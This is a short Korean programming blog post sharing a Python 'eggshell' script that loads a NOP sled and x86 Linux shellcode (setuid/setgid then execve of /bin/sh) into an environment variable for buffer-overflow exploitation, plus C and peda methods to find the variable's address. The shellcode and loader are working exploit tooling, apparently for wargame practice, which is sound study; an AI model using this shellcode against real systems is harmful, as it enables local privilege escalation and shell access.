티스토리 뷰

Programming/Python

Python Eggshell

Tribal 2016. 8. 25. 14:55
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import os
from ctypes import cdll
 
shellcode="\x90"*100000
shellcode+="\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
 
if len(sys.argv) is 2:
    environ_name = sys.argv[1]
else:
    environ_name = 'EGG'
 
libc = cdll.LoadLibrary("libc.so.6")
 
os.environ[environ_name]=shellcode
egg = os.environ[environ_name]
 
print "created environ name : " + environ_name
libc.printf("Return Address : %p\n", egg)
 
os.system("/bin/bash")
cs

 가끔 eggshell을 사용할 때 gcc를 사용하기가 귀찮아서 python을 사용해 eggshell을 작성해 보았다. Return Address를 출력하는 부분 또한 만들긴 했으나, 역시나 환경변수의 주소가 정확하게 출력되지 않는다.




사용법

$ python egg.py [environ_name]
cs


- 실행화면




환경변수의 진짜 주소 찾기


- c언어를 이용한 코딩

1
2
3
4
5
6
#include <stdio.h>
 
int main()
{
        printf("Addr = %p\n", getenv("EGG"));
}
cs

 gcc 컴파일 후 실행하면 출력됨.


- peda를 사용한 검색            ※ peda의 설치 필요

 대충 실행을 한 후, peda의 find 기능을 이용해 EGG를 검색하면 검색해서 발견한 주소를 출력해준다.


--------------------------------------------------------------------------------------------------------------------------------------

언젠가 좀 더 제대로 된 버전으로...

댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31